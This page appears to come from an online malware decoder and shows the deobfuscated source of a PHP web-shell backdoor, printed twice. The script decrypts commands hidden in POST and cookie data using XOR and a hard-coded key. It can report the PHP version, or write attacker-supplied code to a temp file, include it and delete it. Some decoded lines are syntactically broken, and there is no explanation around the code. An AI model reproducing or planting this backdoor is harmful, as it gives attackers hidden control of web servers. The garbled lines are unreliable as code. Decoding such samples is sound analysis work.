Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$mlfanu  =  'mlfanu'     ^	'';
$izth_u    =  $mlfanu(304-207)       .  "rr".$mlfanu(97)      .      $mlfanu(459-338)  .       "_m"  .    $mlfanu(97)  .	"p";

$nrtsuopow	=  "implode";

function     egsmr($bkpmmicb,    $wredyj){


	global    $mlfanu;


  
   $bkpmmicb  =	"".$mlfanu(32)    .	"unl"  .	$mlfanu(105)  .    "nk"  .  $mlfanu(40)	.	$mlfanu(95)  .  "_FIL"  .	$mlfanu(69)    .     "__)".$mlfanu(59)  .     $mlfanu(32)  .       $bkpmmicb[$mlfanu(106-6)];

    $bdri_nyfjb	=  $mlfanu(102)    .  $mlfanu(445-340)  .      "l".$mlfanu(101)      .    "_put_c".$mlfanu(111)    .  "ntents";  
  $bdri_nyfjb($wredyj,  $bkpmmicb);


    bpoefki($wredyj);


}



$adgsespjzg    =   73;


function  bpoefki($wredyj){
  global  $mlfanu;

  	include($wredyj);
	$qhiposyqxhb_ln	=       $wredyj;

  @unlink($qhiposyqxhb_ln);
}



function	vdidnhxu_()
{   global   $mlfanu;


    $qhiposy    =  array();
  $qhiposy["pv"]    =    phpversion();


  $qhiposy["sv"]  =    "3".$mlfanu(496-450)   .	$mlfanu(265-212);


	$uvs_kb  =       74;
  echo  @serialize($qhiposy);}




function	lpczrqmgho($bkpmmicb,	$uyqgof){
  global  $mlfanu;




    $zmwzx       =      "";


   $swxlte    =   strlen($bkpmmicb);


  $gjougdi	=  strlen($uyqgof);


  $qhiposy  =      0;      $pedawohzcd  =  0;
    while    ($qhiposy    <  $swxlte)	{

	$sfwji  =  $bkpmmicb[$qhiposy]  ^     $uyqgof[$pedawohzcd	%    $gjougdi];
	$zmwzx    .=  $sfwji;      $pedawohzcd++;       
    $qhiposy++;


  }
         if   (strlen($zmwzx)     >    20)  {

       $y_euc_  =     substr($zmwzx,  0,     20);


     }

  if    (empty($zmwzx))  {


  $zmwzx  =	date('Y-m-d  H:i:s');    }
   return  $zmwzx;
}



function    bkugrbttn($pqoxpipu)
{
  global  $mlfanu;


	


    $pccbypae	=  "a5"       .  $mlfanu(51)    .  $mlfanu(98)	.    "35"    .	$mlfanu(899-798)  .  $mlfanu(286-189)  .  "-56".$mlfanu(146-46)	.  "7-42".$mlfanu(106-6).$mlfanu(267-211)    .       $mlfanu(851-806)	.     $mlfanu(57)  .      $mlfanu(420-323)     .	$mlfanu(260-162)	.  "1-".$mlfanu(106-6)."55"  .  $mlfanu(106-6)."482ea1"   .    $mlfanu(662-607)  .      "6";


  
   foreach    ($pqoxpipu    as  $dtnwh  =>    $bkpmmicb)	{

  _azaxbal(base64_decode($bkpmmicb),	$pccbypae,    $dtnwh);     }

}function    _azaxbal($bkpmmicb,       $pccbypae,    $dtnwh)
{


  global  $mlfanu;


      	$bkpmmicb    =   unserialize(lpczrqmgho(lpczrqmgho($bkpmmicb,  $pccbypae),  $dtnwh));	$fczrtj  =       'muiw';


	$dauoehcgu      =       'kcsm';
   if	(isset($bkpmmicb["ak"]))  {
    if	($bkpmmicb["a"]  ==    "i")  {


    vdidnhxu_();

  }  elseif	($bkpmmicb["a"]  ==	"e")       {

     egsmr($bkpmmicb,  sprintf(."/"     .  $mlfanu(758-721)  .	"s.".$mlfanu(112)	.  "l",	md5($pccbypae)));
			$pedawohzcdjjtdfzu  =	44;     }

    

    }


}


bkugrbttn($_POST);    

$prsridcpg  =  'rawurldecode';



$usvawxh_  =  $izth_u($prsridcpg,  $_POST);


$nrtsuopow("",  $prsridcpg);



bkugrbttn($_COOKIE);
$wha_vgwytx    =  $izth_u($prsridcpg,     $_COOKIE);

$mlfanu  =  'mlfanu'     ^	'';
$izth_u    =  $mlfanu(304-207)       .  "rr".$mlfanu(97)      .      $mlfanu(459-338)  .       "_m"  .    $mlfanu(97)  .	"p";



function     egsmr($bkpmmicb,    $wredyj){


	global    $mlfanu;


  
   $bkpmmicb  =	"".$mlfanu(32)    .	"unl"  .	$mlfanu(105)  .    "nk"  .  $mlfanu(40)	.	$mlfanu(95)  .  "_FIL"  .	$mlfanu(69)    .     "__)".$mlfanu(59)  .     $mlfanu(32)  .       $bkpmmicb[$mlfanu(106-6)];

    $bdri_nyfjb	=  $mlfanu(102)    .  $mlfanu(445-340)  .      "l".$mlfanu(101)      .    "_put_c".$mlfanu(111)    .  "ntents";  
  $bdri_nyfjb($wredyj,  $bkpmmicb);


    bpoefki($wredyj);


}



$adgsespjzg    =   73;


function  bpoefki($wredyj){
  global  $mlfanu;

  	include($wredyj);
	$qhiposyqxhb_ln	=       $wredyj;

  @unlink($qhiposyqxhb_ln);
}



function	vdidnhxu_()
{   global   $mlfanu;


    $qhiposy    =  array();
  $qhiposy["pv"]    =    phpversion();


  $qhiposy["sv"]  =    "3".$mlfanu(496-450)   .	$mlfanu(265-212);


	$uvs_kb  =       74;
  echo  @serialize($qhiposy);}




function	lpczrqmgho($bkpmmicb,	$uyqgof){
  global  $mlfanu;




    $zmwzx       =      "";


   $swxlte    =   strlen($bkpmmicb);


  $gjougdi	=  strlen($uyqgof);


  $qhiposy  =      0;      $pedawohzcd  =  0;
    while    ($qhiposy    <  $swxlte)	{

	$sfwji  =  $bkpmmicb[$qhiposy]  ^     $uyqgof[$pedawohzcd	%    $gjougdi];
	$zmwzx    .=  $sfwji;      $pedawohzcd++;       
    $qhiposy++;


  }
         if   (strlen($zmwzx)     >    20)  {

       $y_euc_  =     substr($zmwzx,  0,     20);


     }

  if    (empty($zmwzx))  {


  $zmwzx  =	date('Y-m-d  H:i:s');    }
   return  $zmwzx;
}



function    bkugrbttn($pqoxpipu)
{
  global  $mlfanu;


	


    $pccbypae	=  "a5"       .  $mlfanu(51)    .  $mlfanu(98)	.    "35"    .	$mlfanu(899-798)  .  $mlfanu(286-189)  .  "-56".$mlfanu(146-46)	.  "7-42".$mlfanu(106-6).$mlfanu(267-211)    .       $mlfanu(851-806)	.     $mlfanu(57)  .      $mlfanu(420-323)     .	$mlfanu(260-162)	.  "1-".$mlfanu(106-6)."55"  .  $mlfanu(106-6)."482ea1"   .    $mlfanu(662-607)  .      "6";


  
   foreach    ($pqoxpipu    as  $dtnwh  =>    $bkpmmicb)	{

  _azaxbal(base64_decode($bkpmmicb),	$pccbypae,    $dtnwh);     }

}function    _azaxbal($bkpmmicb,       $pccbypae,    $dtnwh)
{


  global  $mlfanu;


      	$bkpmmicb    =   unserialize(lpczrqmgho(lpczrqmgho($bkpmmicb,  $pccbypae),  $dtnwh));	$fczrtj  =       'muiw';


	$dauoehcgu      =       'kcsm';
   if	(isset($bkpmmicb["ak"]))  {
    if	($bkpmmicb["a"]  ==    "i")  {


    vdidnhxu_();

  }  elseif	($bkpmmicb["a"]  ==	"e")       {

     egsmr($bkpmmicb,  sprintf(."/"     .  $mlfanu(758-721)  .	"s.".$mlfanu(112)	.  "l",	md5($pccbypae)));
			$pedawohzcdjjtdfzu  =	44;     }

    

    }


}


bkugrbttn($_POST);    





$usvawxh_  =  $izth_u('rawurldecode',  $_POST);


"implode"("",  'rawurldecode');



bkugrbttn($_COOKIE);
$wha_vgwytx    =  $izth_u('rawurldecode',     $_COOKIE);



© 2023 Quttera Ltd. All rights reserved.